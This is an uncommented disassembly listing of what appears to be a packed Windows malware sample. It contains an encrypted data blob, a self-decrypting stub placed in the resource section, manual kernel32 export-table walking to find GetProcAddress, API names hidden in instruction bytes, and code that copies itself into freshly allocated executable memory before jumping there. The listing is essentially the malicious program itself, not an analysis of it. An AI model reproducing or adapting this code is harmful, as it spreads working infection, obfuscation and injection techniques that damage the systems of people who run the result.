		dd 5166AB98h, 66E51AAh,	0A710244Ch, 0EA127E56h,	0FBBA8C32h
		dd 19D511A2h, 0BC39E9A1h, 1873897Eh, 54C27B3Fh,	0B9B1FB98h
		dd 198EDD03h, 0D6C3F7C7h, 50CC4513h, 0C843097Ah, 0C2DA924Ch
		dd 1C899909h, 0C25F495Ah, 5491C5A3h, 0B1F97EE1h, 48134607h
		dd 7E807D08h, 6EC79D7Dh, 89AF29E7h, 0B05478F5h,	7AC6C8Fh
		dd 5FEE6A02h, 75918ED7h, 68E8F7DFh, 0C0DE3053h,	0F7758F7Bh
		dd 50C59386h, 8C81073Ah, 0EA18FD98h, 0B5E3CEA9h, 0E7524BE0h
		dd 2F6B1816h, 492B81E3h, 5850FCBDh, 6D79ED6Bh, 1211A007h
		dd 8E249424h, 1FBDF273h, 998F63h, 0BA12EE27h, 0B1FC952Ah
		dd 408E9830h, 5AB2FB4h,	0B319E63Fh, 0BD55667Fh,	3B2098A0h
		dd 25CC6627h, 4CD0C80Bh, 0EA0BD21Eh, 20C39D75h,	58632512h
		dd 503C72FEh, 82EBFAEDh, 0BC66DB0h, 0A292A258h,	0F45A28ECh
		dd 68679ADCh, 0BE2F1096h, 0C2A4A7BBh, 0D77AF782h, 3338AAA1h
		dd 68DA5A1Bh, 67B40B1Fh, 0DB0C61FDh, 0ED5A5CFAh, 2BF742E4h
		dd 6FF06B7Eh, 25F3FC7Eh, 4D679A47h, 0B44040BBh,	54EAF2DEh
		dd 0B3B74B8Fh, 0CC50415Bh, 7FAFE0EAh, 0D12839Fh, 2B5246BAh
		dd 0A606AD4Dh, 1C00527Fh, 529D1C17h, 0B4552524h, 0B0C4FDCAh
		dd 54271B3Ah, 33F9BE2Fh, 0EF4ED4BAh, 0C127A47Bh, 30114580h
		dd 0D91F05A3h, 0AB7F41CAh, 0BE2A4E62h, 7DBCF97Bh, 0C2C3125Eh
		dd 8500A619h, 1006C858h, 0D8AE2791h, 3E845402h,	8A0A7E79h
		dd 0F5473A79h, 33B140F6h, 471B2EA4h, 3DA6BC90h,	36F2285Bh
		dd 0F3615CEEh, 4D65F029h, 69C53E7Eh, 8FD73621h,	0CA3E8ACBh
		dd 926C90FCh, 0B515EE72h, 33FEB781h, 31F7DE76h,	0B579621Bh
		dd 25B1A6C9h, 0EE3BBB55h, 1907CA21h, 2DA8DB42h,	0E9464ECAh
		dd 51EDB900h, 0E6B786ABh, 0BE535D5Ch, 1568C44Ah, 47790110h
		dd 3A9109B5h, 17B74E92h, 3193AD50h, 0AE3E4950h,	2CF2B9E5h
		dd 26E657E2h, 0A9A3740Ch, 0CBD57437h, 0A1D8291Ah, 699DB890h
		dd 0CD842F3Fh, 0E1372AB0h, 0DE58AC79h, 435B1113h, 9F44471Fh
		dd 55DD1E0Ah, 0CECFC8C9h, 6CBC3812h, 354184F3h,	3BD5BC1Bh
		dd 0C9BEC5ADh, 12FF1912h, 0A458E470h, 0D27D1987h, 6D663312h
		dd 5802A21Ch, 955FE9AFh, 999136CEh, 4B65B3DBh, 58322232h
		dd 8A3C3CBBh, 0D8ED3BDFh, 0C090671Dh, 0E2D72CE2h, 0E551C4CDh
		dd 48A3D2DBh, 0B6CF7E80h, 16AE0BA9h, 0C4BF43E0h, 0E220A5AFh
		dd 5FBEFF54h, 37F9C2A0h, 31DD5C4Ah, 13A9D9BAh, 0D171DA8Dh
		dd 0B46DFB28h, 758745AFh, 7EF06935h, 0CC875C82h, 0F490C251h
		dd 0FC64E2CCh, 66DF7109h, 89178854h, 0B28F307Eh, 6E3C5E47h
		dd 0CAEF56Dh, 0D32EA883h, 0EC7A4525h, 21674B0Dh, 61F75C8Eh
		dd 52ECBA28h, 3872EC6Ah, 4A47D762h, 572AC9CAh, 0C193810Dh
		dd 0CF8F2941h, 0E908D47Ah, 3BB1D5F2h, 0B531635Dh, 2E31D010h
		dd 615835B8h, 97F69950h, 25D5E85Bh, 3651E1FEh, 7799BF66h
		dd 1E7A399h, 0AAC55094h, 82A9B7DAh, 0F0492040h,	8A01CF5Ch
		dd 635916F0h, 210A6FEDh, 2F61F3E6h, 8DF33BA1h, 2BE707D3h
		dd 12C8C99Ah, 1F322F17h, 91F2C4E7h, 0A1AA5581h,	7F07D462h
		dd 0CE46331Ah, 0BCF1C6FFh, 0DD5246A8h, 770FF60Bh, 0D2F35959h
		dd 51A7A481h, 0D562F8E2h, 8F5A7CE5h, 0E4DE2AE3h, 7E774B31h
		dd 0E2734060h, 0FC9D2134h, 3DE788F2h, 0AE0DE62Ah, 61784095h
		dd 79E5514Eh, 12129CABh, 3C0D630Ah, 6025EE22h, 403B22C1h
		dd 0DE880A21h, 0F7D75FFEh, 0BD910AEFh, 614B2029h, 73714070h
		dd 599C230h, 54B7C503h,	65F243D4h, 0D6E97A18h, 57FFE437h
		dd 52606021h, 566BE8ECh, 7C0F7179h, 4873D97Bh, 2F5A4832h
		dd 89A88680h, 7742C4FDh, 0F49A6222h, 1131C7D5h,	2CD8462Eh
		dd 2D3F8D46h, 4CB67E13h, 8DA7E054h, 0C6ADCBF9h,	0FB06669Dh
		dd 5D00B354h, 0D8659857h, 0A9FEEDBDh, 9D124AB1h, 9C427Bh
		dd 7895B11Ch, 67F8B6D5h, 5E9EE77h, 0B5EDA465h, 8DBD973h
		dd 8905F3A3h, 64BB3DA2h, 66ACDD25h, 0B493A188h,	0DC7E79CDh
		dd 736B6379h, 5B8DEC96h, 0DF869207h, 0FBD0BCD1h, 0EF4896CBh
		dd 0BF680E3Ch, 0A0419509h, 33F89B46h, 547ED941h, 61757F84h
		dd 3069FBEEh, 3F62F881h, 17035B29h, 0BEC3E7BAh,	60473D0Fh
		dd 0D06F14BFh, 0AD28CE2Ch, 9BE0A42Ah, 6D7B390h,	0F1A1BAB9h
		dd 97376F2Ch, 1C62EF76h, 0B9D35980h, 0B3480D07h, 4E5ED5E3h
		dd 4B85C3C1h, 30D990A7h, 59C3EE5Bh, 0FE559A87h,	0CCF4087h
		dd 0E7EA1D03h, 7B1BEA7Dh, 41FA85DDh, 8AA30BAAh,	0F687C384h
		dd 0F86F6594h, 80EFCF72h, 4258317Fh, 9AAD35E3h,	0E263D791h
		dd 939FE23Fh, 2FEA614Eh, 0FA94DC86h, 2A02082Ch,	0DBE2587Eh
		dd 0DBD1076Fh, 5A2B8463h, 0B8F13A3Fh, 5EFF1D75h, 0EC7B06F5h
		dd 8293A1ECh, 0D764DA5Eh, 43D1051Bh, 7FFD3C9h, 9A6E5D33h
		dd 0C18CAF64h, 0E75B7B37h, 0AC5B2487h, 7FD85562h, 0EF5E5B39h
		dd 0ADC94AE5h, 0BCAD0A7Fh, 7B19D744h, 45341F56h, 7AB6707Dh
		dd 6F36E575h, 2101B7DBh, 5D611D23h, 16118828h, 722C8B03h
		dd 0D45DC12Dh, 623E2D23h, 6CFBE7B4h, 0CCF6D8FBh, 8010C8E7h
		dd 2D7EC996h, 0C45515D1h, 93376F8Ch, 0DB0FE331h, 6B3739A2h
		dd 5C95100Ah, 143138FCh, 3EE12E0h, 0EEDD972Fh, 0CA67F3Fh
		dd 0F0AB7467h, 70A869CCh, 6AA1D163h, 8912431Dh,	11F67410h
		dd 0AA15B3F1h, 8AE5164Fh, 4DEC5040h, 1D964C08h,	96653848h
		dd 0B7519D5h, 0BCBAFA21h, 0AD568A53h, 0B2E49AF9h, 1687A8A9h
		dd 479D2E6Ch, 3AA8B1CDh, 91A35629h, 29265992h, 281ACA0Dh
		dd 0BB82810Ch, 2A172128h, 0A569554Dh, 0F29A2B2Eh, 4CAE03Bh
		dd 9F4EFBA5h, 0E3C21A8Bh, 0E50140A0h, 0DB6D8A74h, 0C9EBC8B7h
		dd 7D7ED450h, 82F7608Bh, 10C642D9h, 5A49953Fh, 8A529165h
		dd 0E0FC3D39h, 4B932845h, 0C09BC902h, 7F68F52Dh, 395E1CE9h
		dd 3999B83Bh, 47F169B5h, 621C8BAAh, 83C447A6h, 31197E2Dh
		dd 2AD28C8Ch, 0A8EFBC4Ch, 0EC7A69C1h, 33ABC547h, 55DF962Ch
		dd 0B7FF9C9Ch, 0ED639CB6h, 635CEABAh, 0D2D456B3h, 66D7E00Ah
		dd 0A1156229h, 0A9F488Ch, 2F6027FDh, 0CE28B9BFh, 0ADC67275h
		dd 0EBDCEE48h, 0B257839Eh, 3FFED04Eh, 4C0E476Fh, 0E325D9B4h
		dd 0D7EB0577h, 391C847Dh, 57825E59h, 0B8458159h, 4859C30Fh
		dd 91A191F5h, 0D5FBDE40h, 8CCE17CDh, 0D412BFC2h, 6CC2F1FBh
		dd 7F085EB3h, 0E5A236AAh, 0C0E2648h, 4C61B876h,	24E220C3h
		dd 0BE9DC38Fh, 3F995C14h, 0F10E940Eh, 18E585BDh, 0BF178ED2h
		dd 0F0629C6Bh, 0A76A237Bh, 33E2EF9Fh, 0ADA83B47h, 4A7866B9h
		dd 9C97B4Ch, 7E17A57h, 5F5A743h, 65051353h, 567FCBBCh
		dd 3CB8BF21h, 0EAE472B5h, 0F81F7165h, 2FC37DE4h, 5F871E63h
		dd 6CF3CFABh, 3B4F73E2h, 118F5CE4h, 74DB7B8h, 0A6348E04h
		dd 5F100DB5h, 8B1E5684h, 0F0B750ACh, 3D777F0Dh,	0DE719872h
		dd 4AB800B3h, 9E6623Dh,	9655513Ah, 5318CDE7h, 61FE9AECh
		dd 47E7E9CBh, 46F0AA6Ah, 0FB973902h, 58B48861h,	498F7EE3h
		dd 85CE1FE4h, 0E57685C5h, 46A4CD30h, 0A021F58h,	4D871C7Bh
		dd 7BDCC1FDh, 0CDA16743h, 7C4F2B00h, 0BB8856EBh, 31A51992h
		dd 0C0412D28h, 6AEFAB37h, 0FDE51D5h, 2B548003h,	822E4BCFh
		dd 93EE08A2h, 0D47B3D5Ch, 46A23C78h, 0FC9988BEh, 0CA5E9A38h
		dd 2BD89A8Fh, 0E29A5C2Dh
		dd 0FEDB390Bh, 0AD1F0485h, 7BD00F7Dh, 6739405Ch, 42E21A09h
		dd 5F202BCBh, 5B2E2A31h, 262D57BBh, 0AECF22C2h,	116103D3h
		dd 0ADF410B6h, 0E5268F0Eh, 852D0919h, 1598FB6Eh, 3B3D859Ch
		dd 127550B5h, 0C2393C24h, 71DB8EF2h, 0D9BC2A5Eh, 8BDF8767h
		dd 0BFE40DD6h, 24406E6Fh, 0A34D48EBh, 9830A978h, 8ACCC0C7h
		dd 9D926CE8h, 6FADF115h, 0B12E184Ch, 72EBE6ECh,	3F417F01h
		dd 1C08E237h, 858D650Fh, 20F4737Ah, 292C8777h, 5A3BEE2Bh
		dd 3A09CE79h, 22EC6628h, 5B78CAEFh, 0A0C03C17h,	45B1E4CBh
		dd 5146947Eh, 2EBC5E33h, 4A486146h, 0E81C627Fh,	0DCD0BC21h
		dd 4A7250C2h, 769050EAh, 8850F86Eh, 203B446Dh, 9A1424BDh
		dd 2950C38Eh, 9816A839h, 0A989DE7Eh, 78C6C64Ch,	89F103DEh
		dd 1BA23667h, 0B721DC48h, 1FD2A1B0h, 1D03E615h,	4504AC19h
		dd 0C56E3A0Ch, 24C0BB00h, 287E4B21h, 915028CFh,	0B66B5553h
		dd 0DA25363Eh, 5924BFC8h, 63631151h, 995E9E68h,	270B4D8Bh
		dd 0B0DCF1ECh, 0BF35202h, 4F8D22BBh, 0B76D560Ah, 0D483B66Ch
		dd 21BCEA25h, 52311150h, 0BEC4A634h, 2D24949Ah,	0F2D8A5AFh
		dd 8D92BC2Fh, 8A3CF9D6h, 78A7FEFCh, 1C5FAE7Fh, 0AADCE02Ch
		dd 122FD7EAh, 0F16C7DCAh, 0BBA832CDh, 6CF0889Ch, 0F71209E9h
		dd 4D215E73h, 30B89895h, 53D299D7h, 4953E7A9h, 4C7F5AA0h
		dd 54EE2A77h, 8EF730C9h, 9040981h, 4DA45B9Ah, 182CEEF0h
		dd 67A8AB51h, 5F3DACh, 91BB6CE1h, 0E2B8BEE3h, 23EB6ABAh
		dd 9AF7A9EBh, 0DB556359h, 0CECF12DEh, 8242E573h, 0A7F8986Eh
		dd 7BBEF4A4h, 0BD590762h, 22061E8Fh, 0D97FD881h, 15EC7922h
		dd 0B7D25266h, 659D94EBh, 31662F89h, 0D971F68Ah, 0D38FABD2h
		dd 20B32D5Fh, 2C5DFED0h, 0AFE3412Dh, 0ECAF9065h, 54B1F7E6h
		dd 0E7098FB9h, 13268DACh, 1C75C23Dh, 0D2A51A5Eh, 0DE9505Dh
		dd 9C04C9F3h, 5B7CD25Bh, 842D13B5h, 6101B66h, 999CA90Ah
		dd 54CBB5CEh, 0FE71368h, 63B3FC2Bh, 0EC9B9FF0h,	0A4C89E4Bh
		dd 0CFD6BF99h, 90A4CCCCh, 0C5E62FBAh, 0EF967E25h, 44B0D78Bh
		dd 0F666E9EEh, 97EF4F26h, 5A2E9C74h, 0D8438842h, 1E921E53h
		dd 118C7E50h, 9A761E9Ah, 826BEB2Ah, 7D2859DEh, 26650B6Ch
		dd 3A722DD3h, 8FDE6340h, 44F0AA8Dh, 156A1113h, 84CC9787h
		dd 0B4457DD3h, 0A6DC5C38h, 0D9D8B4A1h, 0EC2CF7A8h, 0C9E0519Fh
		dd 89FFD084h, 5DBB6AC9h, 52824247h, 227B672Ch, 1DCA7CE7h
		dd 0DCC9068h, 26C154A5h, 0E0088B1Ah, 0B0F8F56Ch, 42AD127Dh
		dd 42B0C567h, 0CB0392D8h, 0F84F8AD9h, 98AC493Eh, 3EA05627h
		dd 0C0F830DBh, 0C4FA6C5Ch, 0BC0DD588h, 0E9041A3Bh, 4B77A91Ch
		dd 0FB059426h, 0EC535E37h, 0DF1BAB74h, 9C1AC07h, 0E49DAF90h
		dd 56BEA416h, 7E05641Eh, 8190BDF1h, 4789E653h, 267FF1A0h
		dd 0CB93B6A6h, 7751641Eh, 0C3EDAD64h, 462DE7B7h, 0D3697983h
		dd 40E8460Fh, 0EBCCECB2h, 0B861B327h, 0D742AADBh, 0F62C60E9h
		dd 0D21FAE18h, 1D3EDF06h, 0C7FDE286h, 0C7E732B1h, 89131B07h
		dd 212A5E8Dh, 80FE8DC5h, 4DD785F4h, 86218D6Bh, 1BE14702h
		dd 826E2086h, 1B7F166Ah, 4563D528h, 0FA562B1Ch,	838E8570h
		dd 1815A772h, 0A049CD24h, 79984A62h, 2A7BA51h, 2488EE68h
		dd 1696D7F7h, 85F5957Bh, 13C7BAB1h, 73E104C7h, 85B0A98Fh
		dd 5CC5C6C2h, 96C7D240h, 0FDE7D816h, 6E1E1A24h,	7537736Bh
		dd 5A72B3E1h, 32967BAAh, 44415045h, 40h	dup(0)
		dd 44415000h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h
		assume ds:CODE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_437612
		call	sub_4376B8
		jmp	loc_437661
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_437612	proc near		; CODE XREF: start+3p

arg_0		= byte ptr  4

		push	dword ptr fs:0
		mov	fs:0, esp
		xor	edx, edx
		push	edx
		push	edx
		push	edx
		push	80000000h
		push	80000000h
		push	edx
		push	edx
		push	edx
		call	ds:dword_4080A4	; LocalFree
		xor	ecx, ecx
		push	80000000h
		push	80000000h
		push	80000000h
		push	ecx
		push	8000h
		push	ecx
		push	ecx
		push	40h
		push	80h
		push	ecx
		push	ecx
		call	ds:dword_4080A4	; LocalFree


loc_437661:				; CODE XREF: start+Dj
		sub	eax, eax


loc_437663:				; CODE XREF: sub_437612+57j
		dec	al
		or	al, al
		jz	short loc_43766D
		jnz	short loc_437663
		jmp	short near ptr loc_4376CE+6
; ---------------------------------------------------------------------------


loc_43766D:				; CODE XREF: sub_437612+55j
		sub	edx, edx
		sub	ecx, ecx
		mov	cl, 11h


loc_437673:				; CODE XREF: sub_437612+62j
		inc	edx
		loop	loc_437673
		call	sub_4376B5
		sub	edi, 0FFFFFFB6h
		push	edi
		xor	ecx, ecx
		or	ecx, 243Ch


loc_43768A:				; CODE XREF: sub_437612+8Dj
		xchg	al, [edi]
		sub	ax, dx
		mov	[edi], al
		add	edi, 1
		add	dx, 6Ch
		sub	ecx, 1
		cmp	ecx, 0
		ja	short loc_43768A
		pop	edi
		mov	esp, fs:0
		pop	dword ptr fs:0
		lea	ebp, [esp+arg_0]
		leave
		jmp	edi
sub_437612	endp


; =============== S U B	R O U T	I N E =======================================



sub_4376B5	proc near		; CODE XREF: sub_437612+64p
		pop	edi
		jmp	edi
sub_4376B5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4376B8	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [ecx+0B8h]
		retn
sub_4376B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		call	$+5
		mov	eax, [esp]


loc_4376CE:				; CODE XREF: sub_437612+59j
		test	dword ptr [eax+242Bh], 80000000h
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+4]
		jz	short loc_437711
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_437708
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_437710
; ---------------------------------------------------------------------------


loc_437708:				; CODE XREF: .rsrc:004376F9j
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_437710:				; CODE XREF: .rsrc:00437706j
		pop	ebx


loc_437711:				; CODE XREF: .rsrc:004376E2j
		push	ebp
		xchg	eax, ebp
		sub	dword ptr [esp+4], 32423h
		and	ebx, 0FFFFF000h
		sub	ebp, offset unk_401006
		mov	edi, [esp+4]
		lea	esi, locret_40343C[ebp]
		mov	ecx, 0
		rep movsb


loc_437738:				; CODE XREF: .rsrc:00437754j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_43774E
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_437756


loc_43774E:				; CODE XREF: .rsrc:0043773Fj
		sub	ebx, 100h
		jnz	short loc_437738


loc_437756:				; CODE XREF: .rsrc:0043774Cj
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_437764:				; CODE XREF: .rsrc:loc_43778Bj
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_43778B
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_43778B
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_43778B
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_437790


loc_43778B:				; CODE XREF: .rsrc:0043776Ej
					; .rsrc:00437777j ...
		loop	loc_437764
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_437790:				; CODE XREF: .rsrc:00437789j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_4377B6+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_437814+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_4377B6:				; CODE XREF: .rsrc:004377A7p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+40353Ch], eax
		call	near ptr loc_4377D2+1
		inc	ebx
		jb	short near ptr loc_43782D+1
		popa
		jz	short near ptr loc_43782D+4
		inc	ebp
		jbe	short near ptr loc_437833+1
		outsb
		jz	short near ptr loc_437811+2


loc_4377D2:				; CODE XREF: .rsrc:004377C1p
		add	[ebx-1], dl
		setalc
		mov	[ebp+403540h], eax
		call	sub_4377EE
		inc	edi
		db	65h
		jz	short near ptr loc_43782D+4
		popa
		jnb	short loc_43785C
		inc	ebp
		jb	short near ptr loc_43785C+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_4377EE	proc near		; CODE XREF: .rsrc:004377DCp

; FUNCTION CHUNK AT 00437897 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 004379D7 SIZE 0000013A BYTES

		push	ebx
		call	esi
		mov	dword ptr ss:loc_403544[ebp], eax
		call	sub_43786C
		test	eax, eax
		jz	short loc_437821
		push	eax
		call	dword ptr ss:loc_403544[ebp]
		test	eax, eax
		jnz	short loc_43781B
		lea	eax, [ebp+4011D2h]


loc_437811:				; CODE XREF: .rsrc:004377D0j
		mov	dl, [eax-1]


loc_437814:				; CODE XREF: .rsrc:004377AFj
		call	sub_437887
		jmp	short loc_437897
; ---------------------------------------------------------------------------


loc_43781B:				; CODE XREF: sub_4377EE+1Bj
					; sub_4377EE+136j ...
		call	dword ptr [ebp+40353Ch]


loc_437821:				; CODE XREF: sub_4377EE+10j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_43784B


loc_43782D:				; CODE XREF: .rsrc:004377C7j
					; .rsrc:004377CAj ...
		lea	esi, loc_403435[ebp]


loc_437833:				; CODE XREF: .rsrc:004377CDj
		mov	edi, [esp+4]
		movsb
		movsd
		mov	ebx, [ebp+4039B2h]
		mov	esi, dword ptr ss:loc_4039B6[ebp]
		mov	edi, [ebp+4039BAh]


loc_43784B:				; CODE XREF: sub_4377EE+3Dj
		pop	ebp
		retn
sub_4377EE	endp

; ---------------------------------------------------------------------------


loc_43784D:				; CODE XREF: sub_43786C+2p
					; sub_4377EE:loc_437A56p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_43785C:				; CODE XREF: .rsrc:004377E6j
					; .rsrc:004377E9j
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_43786C	proc near		; CODE XREF: sub_4377EE+9p
		xor	ecx, ecx
		call	loc_43784D
		lea	edx, loc_4011A1[ebp]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+403540h]
		add	esp, 20h
		retn
sub_43786C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_437887	proc near		; CODE XREF: sub_4377EE:loc_437814p
					; sub_43965B+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_43788E:				; CODE XREF: sub_437887+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_43788E
		retn
sub_437887	endp

; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4377EE


loc_437897:				; CODE XREF: sub_4377EE+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr [ebp+401584h], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, [ebp+403431h]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr ss:loc_40397E[ebp]


loc_4378BE:				; CODE XREF: sub_4377EE+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	dword ptr ss:loc_40397E[ebp], edx
		loop	loc_4378BE
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	dword ptr ss:sub_403548[ebp], esi
		lea	esi, loc_4015BB[ebp]
		xor	ecx, ecx
		lea	edi, [ebp+403558h]
		mov	cl, 1Eh
		call	sub_437C51
		pop	edi
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	loc_4379D7
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+403550h], eax
		push	69CEh
		push	0
		call	dword ptr ss:loc_4035C8[ebp]
		test	eax, eax
		jz	loc_43781B
		xchg	eax, edi
		lea	esi, sub_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset sub_401000
		lea	edx, loc_401283[ebp]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_4377EE
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, loc_401A3D[ebp]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+403550h]
		add	esp, 20h
		test	eax, eax
		jz	loc_43781B
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+403550h]
		test	eax, eax
		jz	loc_43781B
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+403550h]
		push	1000Ah
		call	dword ptr [ebp+403550h]
		call	sub_4379C7
		jmp	loc_43781B

; =============== S U B	R O U T	I N E =======================================



sub_4379C7	proc near		; CODE XREF: .rsrc:004379BDp
					; sub_4379C7+Dj
		push	1
		pop	ecx
		jecxz	short locret_4379D6
		push	0Ah
		call	dword ptr ss:loc_4035BC[ebp]
		jmp	short sub_4379C7
; ---------------------------------------------------------------------------

locret_4379D6:				; CODE XREF: sub_4379C7+3j
		retn
sub_4379C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4377EE


loc_4379D7:				; CODE XREF: sub_4377EE+10Fj
		cmp	dword ptr ss:loc_403570[ebp], 0
		jz	loc_43781B
		call	near ptr loc_4379EE+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_4379EE:				; CODE XREF: sub_4377EE+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_437A0B+5
		inc	eax
		add	[ebx], dh
		leave
		lea	edi, [ebp+4035D0h]
		mov	cl, 0Bh
		xchg	eax, ebx
		call	sub_437C51


loc_437A0B:				; CODE XREF: sub_4377EE+209j
		cmp	dword ptr ss:sub_4035F8[ebp], 0
		jz	loc_43781B
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+403395h]
		mov	eax, dword ptr ss:loc_4035E8[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E2h]
		mov	eax, dword ptr ss:loc_4035D8[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E9h]
		mov	ecx, dword ptr ss:loc_4035DC[ebp]
		jecxz	short loc_437A56
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+4033F6h]


loc_437A56:				; CODE XREF: sub_4377EE+25Dj
		call	loc_43784D
		lea	edi, loc_40364E[ebp]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+40159Fh]
		mov	ecx, 1Ch
		mov	edx, esp
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_437A9B:				; CODE XREF: sub_4377EE+2B0j
		lodsb
		stosw
		loop	loc_437A9B
		push	0
		push	69CEh
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr ss:loc_4035E0[ebp]
		pop	eax
		add	esp, 40h
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_43781B
		lea	esi, sub_401000[ebp]
		mov	ecx, 0A74h
		mov	ebp, edi
		rep movsd
		sub	ebp, offset sub_401000
		lea	eax, [ebp+40144Ch]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_4377EE
; ---------------------------------------------------------------------------
		db 8Dh,	95h, 0E0h
		db  18h
		db 40h,	0, 52h
		db 0FFh
		db 95h,	9Ch, 35h
		db  40h	; @
		align 2
		dw 16E8h
		db    0
		db 2 dup(0), 4Ch
aOokupprivilege	db 'ookupPrivilegeValueA',0
		db 50h,	0FFh, 95h
		dd 403548h, 354C8589h, 54500040h, 0FF6A206Ah, 35EC95FFh
		dd 0C0850040h, 963F755Fh, 5656026Ah, 16AD48Bh, 11E852h
